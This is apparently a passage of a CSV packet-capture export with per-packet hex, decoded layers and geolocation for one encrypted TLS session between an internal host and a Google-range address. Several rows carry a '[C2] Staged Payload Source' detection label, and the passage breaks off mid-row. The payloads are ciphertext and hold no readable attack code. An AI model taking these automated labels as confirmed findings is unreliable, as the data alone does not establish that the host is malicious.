Ack=2755294562,bc2411360d0cbc24112907bb08004500021fa7de400040064c57d83ac9c50a98980b01bbf9ce925f9035a43a75625018003d46b5000082413c4e989a7c2635251386f8473c6572f3d772eb575c5b75a690f4a7c447498064ee852ac8d3a7f9f4e934487f297b2646144ee6a96ff5aa8ba7143d94bc8385f3535154f09734dfc8e0c3a2daedcab6f271cccc96410b9d1ab871a2ddf1bbfd325535b75e3b73acf25e546e9dae067ef2bd75fe10aef4f1a01fb2a014ddbdfdfea3806ec8964e453e07e7d0e56e1e9e5bbd9081808ecf73a07e39a515ad62795ccc3699a2c40a36abba740215e5a4015df22570224eea39e3ee2b84679b61b387b90a76c52c97561788e722f2be3982c535c679c7ed7072976dfd4dfc9ab7a16be8dd77e11ff78889d550673fb4b4b252ca80e735bcfb12dc5930d952b91a42b47ac4f534728dbb54c29744c6ecd8b794f3ab148d80935c498401551d7f200174610ac5be87aac1e97d62c4ef3db8a54e39898d652f82533a035da36ddc2f80c08efb9cb58a3c0bc23e9f737d6136c4a32ec6f30d26ac2b45bd3eadb8d37260fb91e48532e84a6b74fdb32fbffbb7dc689aaba9fa8d7c279c68364f7928f01bd009ae18d2094244bdc76fe6d49161e6135d339f96f8f898d11703030039726d34fbb781bd053e1e0aeea766eb46330f919865dfde4ca0afa86f0189cd0ff57c14695c22b42b01946f0115a7b3d28bcf117a388eb33d1d170303001affcdac12d3a57908f86c9563333b97030482ed5c0603e8e6be61,\".A<N..|&5%...G<er..r.W\\[u.....GI.d..*......4H.){&F.N..o.....=.....SQT..4..........q...A....q.....2U5.^;s..^Tn...~..u................n..NE>....n..[......s.~9...by\\.6...\n6..t.....].%p\"\"N.9..+.g.a...\nv.,.V...\"\"..9..5.y..pr.m.M....k..w......Pg?...R...5....Y0.R..B.z..4r..T..D...........\\I..U.. .ta\n......}b..=..N9..e/.S:.].m./.......<..>.s}a6.....\n&.+E.>...r`....2.Jkt../....h.....|'.h6Oy(...\t...\tBD..o...a..]3..........9rm4.....>.\n..f.F3...e..L...o.....|.i\\\"\".+..o........z8..=............y..l.c3;.....\\.....a\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 543, \"\"id\"\": 42974, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19543, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455736373, \"\"ack\"\": 2755294562, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 61, \"\"chksum\"\": 18101, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"82413c4e989a7c2635251386f8473c6572f3d772eb575c5b75a690f4a7c447498064ee852ac8d3a7f9f4e934487f297b2646144ee6a96ff5aa8ba7143d94bc8385f3535154f09734dfc8e0c3a2daedcab6f271cccc96410b9d1ab871a2ddf1bbfd325535b75e3b73acf25e546e9dae067ef2bd75fe10aef4f1a01fb2a014ddbdfdfea3806ec8964e453e07e7d0e56e1e9e5bbd9081808ecf73a07e39a515ad62795ccc3699a2c40a36abba740215e5a4015df22570224eea39e3ee2b84679b61b387b90a76c52c97561788e722f2be3982c535c679c7ed7072976dfd4dfc9ab7a16be8dd77e11ff78889d550673fb4b4b252ca80e735bcfb12dc5930d952b91a42b47ac4f534728dbb54c29744c6ecd8b794f3ab148d80935c498401551d7f200174610ac5be87aac1e97d62c4ef3db8a54e39898d652f82533a035da36ddc2f80c08efb9cb58a3c0bc23e9f737d6136c4a32ec6f30d26ac2b45bd3eadb8d37260fb91e48532e84a6b74fdb32fbffbb7dc689aaba9fa8d7c279c68364f7928f01bd009ae18d2094244bdc76fe6d49161e6135d339f96f8f898d11703030039726d34fbb781bd053e1e0aeea766eb46330f919865dfde4ca0afa86f0189cd0ff57c14695c22b42b01946f0115a7b3d28bcf117a388eb33d1d170303001affcdac12d3a57908f86c9563333b97030482ed5c0603e8e6be61\"\"}}]\"\n2026-07-19 08:08:16.395870,26,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,A,,,Ether > IP > TCP,3,TCP A Seq=2755294562 Ack=2455736876,bc24112907bbbc2411360d0c0800450000288a1a400080062c120a98980bd83ac9c5f9ce01bba43a7562925f922c50102012116c0000,\".$.)...$.6\n...E..(..@...,.\n....:.......:ub._.,P. ..l..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 35354, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11282, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755294562, \"\"ack\"\": 2455736876, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8210, \"\"chksum\"\": 4460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:16.466037,27,TCP 10.152.152.11:63950 -> 216.58.201.197:443,10.152.152.11,216.58.201.197,63950,443,TCP,Internal,Private Network,,,,,,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2755294562 Ack=2455736876,bc24112907bbbc2411360d0c0800450000478a1b400080062bf20a98980bd83ac9c5f9ce01bba43a7562925f922c5018201268940000170303001a12564355f51443f890905d41abe2d0cdd5e2dae8445752d46c42,\".$.)...$.6\n...E..G..@...+.\n....:.......:ub._.,P. .h.........VCU..C...]A........DWR.lB\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 71, \"\"id\"\": 35355, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11250, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"216.58.201.197\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63950, \"\"dport\"\": 443, \"\"seq\"\": 2755294562, \"\"ack\"\": 2455736876, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8210, \"\"chksum\"\": 26772, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 26, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x12VCU\\\\xf5\\\\x14C\\\\xf8\\\\x90\\\\x90]A\\\\xab\\\\xe2\\\\xd0\\\\xcd\\\\xd5\\\\xe2\\\\xda\\\\xe8DWR\\\\xd4lB' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-07-19 08:08:16.466041,28,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2455736876 Ack=2755294593,bc2411360d0cbc24112907bb080045000028a7df400040064e4dd83ac9c50a98980b01bbf9ce925f922ca43a75815010003d44be0000,\".$.6\n..$.)....E..(..@.@.NM.:..\n........_.,.:u.P..=D...\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 42975, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 20045, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455736876, \"\"ack\"\": 2755294593, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 61, \"\"chksum\"\": 17598, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:16.537591,29,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=2455736876 Ack=2755294593,bc2411360d0cbc24112907bb080045000210a7e0400040064c64d83ac9c50a98980b01bbf9ce925f922ca43a75815018003d46a60000170303057325a622ac63c1b59b4655e099761ea9ed491f5f0c853d19c7ec971f7f16ddade488af9f4a975cef73c9576d45b5b8d979018f13ca956ab405e54aec0131395be7b9a7709fde71456a5a06c0bc490deb5bf0f15c3909ee6fe7a4663ac2ea8c976cc8fab0fbc236b62f2943e345861375a5254a78be13963cf4957de3b6756f36ce40fd017d21126c90d66a51221ecd791da03c08dcfb3289d5b9fc31ffaf7e772476bd414bb71ee84ada7d209c37580e7cc614ab70634ffaf12c0b8c2d84107c5cec2d7d59c8c24064680ef125696d94ff1aab5c97d35cd3d55633bef63949f539f9a74458c2a1939125cb38ea35b0745ea622bd29391684577650bb555c312963dde2928d063581d9b3fb4d5fc2604c9098b00069a129169b2aaa10f4e2a71fe76110538dab9cbe92b6772fbedbaa8ee3e7269fb1335ed81fc448749e6e9172e01eb380ab8b466647a89c18db02e3a9ffc4a9430e91767fda90c861d8adb8ecd4b17f76d954a6ec3a31c71d0ec3a6ce10e314793127f5f109bf630776b6e3047a9d2416c9c039e18de17a2a44eb5c0176cee21b4c30cb5d36b40d3d9a4e0554c46f1bd72a184b4d63b78fe6fa251b5077f9e7a364b439651579f18c3e8020534b6836129828a6db71f667414c92f0b39fc448935bf373fe969dd7b3ee44c46498b4d60a,\".$.6\n..$.)....E.....@.@.Ld.:..\n........_.,.:u.P..=F.......s%.\"\".c...FU..v...I._..=.............J.\\.s.WmE...y.....j...J..19[...p..qEjZ...I\n.[..\\9\t.o..f:....l.....6./)C.E..u.%Jx...<..}..uo6.@..}!.l..jQ\"\"..y..<...2....1..~w$v.AK...J.} .7X.|...pcO..,..-..|\\.-}Y..@dh..%im....\\..\\..V3..9I.9..DX....%.8.5.t^.\"\".)9..WvP.U\\1)c.....5....M_.`L....i.)..*.......a.S......w/......&..3^...Ht.n.r......FfG..........C..v....a.......v.T..:1.........y1'..\t.c.v...z.$...9...z*D.\\.v...L0.]6.\n=.N.T.o..*.KMc....%.Pw...d.9e.y..>. SKh6..(..q.gAL.....H.[.s......D.d...\n\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 528, \"\"id\"\": 42976, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19556, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455736876, \"\"ack\"\": 2755294593, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 61, \"\"chksum\"\": 18086, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": \"\"170303057325a622ac63c1b59b4655e099761ea9ed491f5f0c853d19c7ec971f7f16ddade488af9f4a975cef73c9576d45b5b8d979018f13ca956ab405e54aec0131395be7b9a7709fde71456a5a06c0bc490deb5bf0f15c3909ee6fe7a4663ac2ea8c976cc8fab0fbc236b62f2943e345861375a5254a78be13963cf4957de3b6756f36ce40fd017d21126c90d66a51221ecd791da03c08dcfb3289d5b9fc31ffaf7e772476bd414bb71ee84ada7d209c37580e7cc614ab70634ffaf12c0b8c2d84107c5cec2d7d59c8c24064680ef125696d94ff1aab5c97d35cd3d55633bef63949f539f9a74458c2a1939125cb38ea35b0745ea622bd29391684577650bb555c312963dde2928d063581d9b3fb4d5fc2604c9098b00069a129169b2aaa10f4e2a71fe76110538dab9cbe92b6772fbedbaa8ee3e7269fb1335ed81fc448749e6e9172e01eb380ab8b466647a89c18db02e3a9ffc4a9430e91767fda90c861d8adb8ecd4b17f76d954a6ec3a31c71d0ec3a6ce10e314793127f5f109bf630776b6e3047a9d2416c9c039e18de17a2a44eb5c0176cee21b4c30cb5d36b40d3d9a4e0554c46f1bd72a184b4d63b78fe6fa251b5077f9e7a364b439651579f18c3e8020534b6836129828a6db71f667414c92f0b39fc448935bf373fe969dd7b3ee44c46498b4d60a\"\"}}]\"\n2026-07-19 08:08:16.554459,30,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > _TLSEncryptedContent,4,TCP PA Seq=2455737364 Ack=2755294593,bc2411360d0cbc24112907bb080045000b90a7e14000400642e3d83ac9c50a98980b01bbf9ce925f9414a43a75815018003d50260000f5dd6d9625e7c348b4a1b0eb3828f84f88706da38688a068d5016620c8cfb688e0c4a58c5f2822e847821c6b61513540c67e551322c5d5e8ed9f29788ca8cd7625cddff8c0e75842eefda7c1bdc9ea7ba8527e700928463064353352d5ed54c557fcfdaa38591fa9abe8d60020b6dcc79e350960459d9217b18d4b8dbbe437f2dbf22cb0cc64eb64063b5360ecc0ebc4b836ff8c07db2e4ecfe78675226094d9a261dea4b614a73601698769bb5208ce69a96de4207e6d94d594c268e2504bebc45e6772bce23d5bbc45e2522fa6b5ef3729bc251bc886068b04643b8b10a5046401d11f7bbc6f84c929f2989e0f21a2f3c16bd53a1060ae84b5a21b07a0bb4f0e8fe74fa8ab96516e743d15fda6ba3c4b60afcfac0342186abb3fe896a26b763fccc8de396dd89ba6bef6955ce4cd6b5fedc681ce671bb0c1be027cc886a069f006ab97c8a3952f687da5eea1f1dad639c48dee65172b6deed6658c3a46924c45e0ceeeefabacddc0ad89aff9f3aad756b5a8fdca71c308372b6134853bcd80aaafdb73178e496c56d41e4e63b9ab3cf9cded627f75eab0023b20a406a29c4b4a818eeb022e58a562e000e49b133ffcec07f9a8e8dbc5ba83c4fe390052a27005659c21099e3547a7b434272527bf12ee09c8db81f029cfbee216f9d31e65b7bd59d149867041c00005b10267c8201426445acf84cead0cf243cd835c9bf546301cbbf8ef9b22c0a7554126efdfe30c8a0d1b4f7c508765708631f320740f7ec2e8651f3aaf169513e16749b0e3cc04d259e3c0aa4bf44f4b0f83a839ad2a977a55b161a2abf49357ccacb4083fd916d46a8d46d7a2c8981b181ebe58b9e362aedda15119135e8904cc1df899ad0e0c79aa0504924c74bb03721643e3b35c65f57110857d2d0f8891c929bd749afe0a298e348720367e8cb6292d500ef93f08e069f5bb3becf96394fa28c4fe444c5b2f74f810785a83177038a8185a40ada91ac1a5f90189dbe4121fa2e605418acda2bb966b04307ac75f586865f822ddb4be49d1968cd50ec345d9876a9845dcc79c3255ae79733964eb09dd8a6f61f8290ab585dc1fa5327c59d650c0fbd0719901acdb573182803e79736c3c8288f6ef8252143368187d022172d06584fcb85cea27dee649def87297006aca63459fc0eac39dc8fc1fc7ca1639278392f3579d039f972923ee3ca117a6c52ac9fc0f13ff99c7ea310df153487fe59c2d7d4bd30db64bb46d4eaa642cb2df18e26b41889905dd8fff93ce58e5c19bf9de4340cf1703030573a59169d6370b56412aefbb1438a05e7f48637c78a6e3bf527a4c27a5ce7c5dd3acef3d900029affc49205f049bb13a956168768e80c292f39d5c197b312b534fce28bafc79c3ad25edbbddaa0dce630ce4ccab0491f5b2c3da05a1fd87ac8e9625ca9e7873ee844adb497e4e0ac69ec9fabd765e29601ee8a52dc6da251ce3f0c5719cf19f32cd3801706c4147f30c31faf40e1add3df997f3302c9409f50a0aa75e9a83bc2eb9f5fddc205b4ea06879d9edaa3eb71e9f69e19e8c06d1c2260a20db2b6557e62dee3c97322cdf8e3ca71d380e79b638efa535cb814553d9af5c9e7d9ad76aea0abaebbefbd47754aae0cdc453b5fc482ca0d60ad7953f471e57e6d6cc463ca758c2dccbea904c8da4f0a82a5ff9559a0ad94d56976678ed7a3043e0917b1786447b55fd5995f29162a64a9e1955bedfb37173d735b086ec3f85ccb5b93f072958861199be7a6ceba9d8e51a9ad54a1ad016d5880919588e73008117da0a316f1fd761ba68e7117f8a91f5c0c507ee427b220ce95c495b4f87bb70ef01639bdb8c28b934b6b10ad94a6100185b827176f98bef60dfc5f898ea5ec8f24c0747da737676817fb587dfac0bd9b85db9aa195f605daa3432d2418190ea5f87aa6fcd3560c012aa85b411e217b64d8efa7fadca260ea73c81315bee34c1e69aa36aacd68fb00a505245c3050c2a928f0777c95c2b5d3f73d71dafde014cf87db624f6339fbc953421e7c9541fb0cf8980f051d116c106d0b7dfd6a08875bb224a01a9ec67bbb524370510ff86f370a6c41260e0b134f0be995fd0f6b4a2c785472aea5edd53d30447dbc4c648141e5eddfc356a7cf419bdeaa3b7261f545792162f82fa3c437c4fda759877e144e093c587bd9da00fb811803e4346069a23398c790728e236dfe2cf96668809f557968557b3ec26c9f48da0d2f1578e1d281cb75c42c137d396e4a1550a046a69f534a4999c6f89dd34dd06ce2a79d4722951554690181078d145099989b311b23faefa7361ba9328e09b88fc1df127dfed467dfee7ac2e5c1a615e254711f805d65c73c65e7683b645264839329a3ff17401bde3fe49d745f5786fcca09e637bb51ba227ba7ab45670cfd3f14a96fd72b897bbe0bd43f886610f7d048d6d28a0a3f6165c80bef2f3a6a93a1a54ce07ca907addae62fded37c89ef11f1942bc6eb82c03c830ebb42e5c3fb9a33c8c4990cb26327fab7bf6722742cbf4f1940d71b0e833e3a30eaa0cb13931ae5296388250766ef9a6973bd29a2b642d4bd7ef490d30e5a88517a75607ed288abb990432fed9130ba429aa7c32c88e3d5e73cf6ead29fa6dbb4aa01633f1f65b920dfacfb7632c19866860a1d61c92a718629fe59d9528ef2c917f1077d8eb082aa3910ad84658ee92bb7b3b4a725f0fa25cb44b3f1b404dc1998a80f2e67079d0d2900793780170ef681461202b198259bd21bf9638f8be561d17353368ca713fff2cefdef1589f551cee16794b45954a9150cb603b9a5f0a323bd53b0f771bb1571a93445d53d305cbbd1610f8cfa4ba71fe7e7c30360b24c81dee66b34da3a8fc3fa09927f48601bc0bc837c9fb233979d262b2b8ce7bda0ca97c3ebae45ba1d147181dbae32815f480e9ecffdaf4b8ddd73b432cf7ad46a2a4288e6c33be3cea91ce3b52d8a038d75562b33b5739399e1f303e1ff776c29b2fdcbad31da24f48631af6514c9b191301f0f6c9e4221ad23a679ee971869c2d017c82f8f58be14249a7787fb06b0a95ae7d42e9ba7f98b4e1a65ad474ca5a8bf5c13010fa0c2594170f5dea98d8ad93cbe3730f460f06219522d8cbf3d0e8dc76af1f8470b48534c1f08131282cee0bf0279162c6e082aaa12acb8a96200e49b35731d582a213ff85536e81c9e5d3b0292a25dd438bf8806887edec0ce6f175b1c71f885e572f02e6af1440e528afc4bfd5d4037f576c5ad11ea90a170303034fe9b71f7e496c79c01aac7bae85572954a659fc7ceba86140d027af4aedc7f0cb820540edc946441eb89261ed2aacc1a702d1659854fae8a9909154dc78e0062966740324b9e0a006d74b2ca2bb8a98f5786c276297aa740947a0075e1e0783654e0250b29e1e017a7f67635005866ca06d5080838e6616634fced7fe32e78f5e3558da1cab95de98b54a9e7dc707360ae3efda389baf3839c19b0f6d51946fad31bb83eb7dda488780663ce0da8630a380cf4adce4a0dce3debd95a2e084d8137df32c44fb5c3b505173273c6e9c3368035f406407105fc5d84207df66ea758a4e63b94df561305034e51f03b426915a51e1761e2774bffa19e65eb707bb6d8045e344c591cfd9d9a891ed8041a79a99aa733d6ec1aa8940b1cd72f9b8df7a5c34349e01c7e582f0c655b4c1b93c0ba16ac60dfd8c310d2ccf2d9761a3aee1f8ec1014191b298eda8f288ff5c29b6b2344686129d045211e747182d32092578246aa7e6d4f4430570367c760cd7da800349e615be0f40faf1d2a1b5cd1c667748a96f3ed19ee31d38e262f122ec9787c812f28b90588c0f91a19496e4d53512c370e28b5b412496779fe002b18793a80d3dd2ce703faa01fd328382a4e72d8507a6d6a7f2757434fd7f63ec73cc8ea37720fe0f7356397c6ce052b5e9d8e44518344965eb615eb80dfbb2ce368c74bcf42245e726ab0141ab6801e0cbd158485e3a4a9c9306ec4736513d4dba245074316a28c3d4fb714d1df85f15bc46a212e13b255104e46f727117552b00870119fa6541fdc696fbf57fd6d255ba840d923a4d766bd8e3b5194d2bfaa71de224b1b7a625dd44d4989546cbcb4,\"..m.%..H....8(.O.pm....h..f ........_(\"\".G..kaQ5@.~U.\"\".....)x...v%.....XB.......{.R~p\t(F0d53R..T.W...8Y...... ....5\t`E.....K...7...,..d.d.;S`.....6.....N...u\"\"`...a.....6.i.i.R..i.m. ~m....h.PK..^gr..=[.E.R/...7).%......d;....d...{.o..)....!...k.:.`........O...O...Qnt=....<K`....B.j.?...kv?...9m......\\..k_....g.....|...i......./h}......9...e.+m..e.:F.LE...............V....q..7+a4.;.....s..IlV..Nc..<...b.u...; ....KJ.....X.b.....?............9.R.p.e.!\t.5G..4'%'...\t....).......e..Y.I.pA.....g. .&DZ......C..\\..F0.....\"\"..UA&.....\n.O|P.ep.1. t.~..e.:.....gI.....Y...K.OK...9.*.zU.a....W....?...j.F........X..b...Q..^.........y....Lt..r.C..\\e.q..}-....).t..\n).4. 6~..)-P..?..i..;..c..(..DL[/t..xZ..p8..Z@...............A.....k.0z._Xhe.\"\"...I......E..j.E...2U.ys9d.\t..oa.)\n.....2|Y.P...q....W1..>ysl<.....R.3h.}.!r.e...\\.'..I..r..j.cE...........9'...W....)#.<....*........1\n.SH...-}K.\n.K.mN.d,....kA........X.....C@.....s..i.7.VA*...8.^.Hc|x...RzL'..|]...=..)..I _...:.ahv......\\.{1+SO.(..y..%....\n.c.................%..xs..J.I~N\n.....v^)`...-..%....q...2.8.plAG..1.....=...0,.\t.\n\n.^........ [N.hy...>...i......&\n .+eW.-.<.2,..<..8.y.8..5..ES..\\.}..j.\n.....wT....S..H,..\n..?G.W...F<.X.....L....*_.U.\n.MV.fx.z0C..{..D{U.Y...b.J..U...qs.5...?....?.)X....zl.......J.....\t.X.s....\n1o..a.h..........B{\"\"..\\I[O..p..c...(.4..\n.Ja..[.qv...`.....^..L.G.svv.........]..._`].42.A..._..o.5`.........M.....&..<.1[.4....j....\nPRE...*...w.\\+]?s.....L.}.$.3...4!..T......Q..........u.\"\"J...g..$7.....p...`..4..._......G*.^.S..G...H..^..5j|......&.TW../..<C|O.u.w.D...........>CF..#9.y.(.6....f.\t.W..W..&......W..(..\\B.7....U\n.ji.4...o..4...*y.r)QUF...x.E\t.....?..sa..(......'..F}....\\.a^%G....\\s.^v..E&H92.?.t....I.E.xo...c{...'.z.Vp...J..r.....C..a.}..m(....\\......:.T....z..b..7.....B.n.,..0...\\?..<.I..&2..{.r'B....\nq..3......91.R.8.Pvn...;..+d-K..I\n0.....V..(....2.....).|2..=^s.n.).m.J..3..[.\n...c,..h`......b....(.,...w...*..\n.FX...{;Jr_..\\.K?.@M......py.....x.p.h.a +..Y.!..8..V..53h.q?.,...X.U...yKE.J.P.`;._\n2;.;.w..W..D]S..........q.~|06.$...f.M...?..'......7..#9y.b...{...|>..[..G....(...........;C,..F..(.l3.<...;R..8.Ub.;W99..0>..v../.....OHc..QL........\"\"..:g..q..-.|.....BI.x..k\n..}B.......Z.t.Z...0...%...].......s.F..!.\"\"......v...p..4...1(,...'.b.....*... .I.W1......Sn.....)*%.C...h......u....^W/....@.(.......WlZ...\n....O...~Ily...{..W)T.Y.|..a@.'.J......@..FD...a.*.....e.T.....T.x..)ft.$.....K,.....xl'b..t\tG..^...eN.P....z.gcP..l.mP...f.cO...2..^5X.......J.}..6\n...8..89...mQ.o.1...}.H..f<...0...J.............}.,D.\\;PQs'<n.3h._@d.._..B..f.u.Nc.M.a0P4....&.ZQ.v.'t....^...m.E.D.........A....s=n...@..r...z\\44.......U...<..j.\n..1\n,.-.a.........)...(....k#Dha).E!.tq.. .W.F.~mOD0W.g.`.}..4.a[.....*.\\..gt......1..&/...x|./(.......InMSQ,7.(...Igy..+.y:...,......(8*Nr.Pzmj.'WCO..>.<..7r...5c....+^..DQ.D.^......,.h.K.B$^rj...............0n.se....E.C...=O......[.j!...U.NF.'.uR..p...T..io.W.m%[.@.#..f..;Q....q.\"\"K.zb].MI.Tl..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2960, \"\"id\"\": 42977, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 17123, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455737364, \"\"ack\"\": 2755294593, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 61, \"\"chksum\"\": 20518, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"f5dd6d9625e7c348b4a1b0eb3828f84f88706da38688a068d5016620c8cfb688e0c4a58c5f2822e847821c6b61513540c67e551322c5d5e8ed9f29788ca8cd7625cddff8c0e75842eefda7c1bdc9ea7ba8527e700928463064353352d5ed54c557fcfdaa38591fa9abe8d60020b6dcc79e350960459d9217b18d4b8dbbe437f2dbf22cb0cc64eb64063b5360ecc0ebc4b836ff8c07db2e4ecfe78675226094d9a261dea4b614a73601698769bb5208ce69a96de4207e6d94d594c268e2504bebc45e6772bce23d5bbc45e2522fa6b5ef3729bc251bc886068b04643b8b10a5046401d11f7bbc6f84c929f2989e0f21a2f3c16bd53a1060ae84b5a21b07a0bb4f0e8fe74fa8ab96516e743d15fda6ba3c4b60afcfac0342186abb3fe896a26b763fccc8de396dd89ba6bef6955ce4cd6b5fedc681ce671bb0c1be027cc886a069f006ab97c8a3952f687da5eea1f1dad639c48dee65172b6deed6658c3a46924c45e0ceeeefabacddc0ad89aff9f3aad756b5a8fdca71c308372b6134853bcd80aaafdb73178e496c56d41e4e63b9ab3cf9cded627f75eab0023b20a406a29c4b4a818eeb022e58a562e000e49b133ffcec07f9a8e8dbc5ba83c4fe390052a27005659c21099e3547a7b434272527bf12ee09c8db81f029cfbee216f9d31e65b7bd59d149867041c00005b10267c8201426445acf84cead0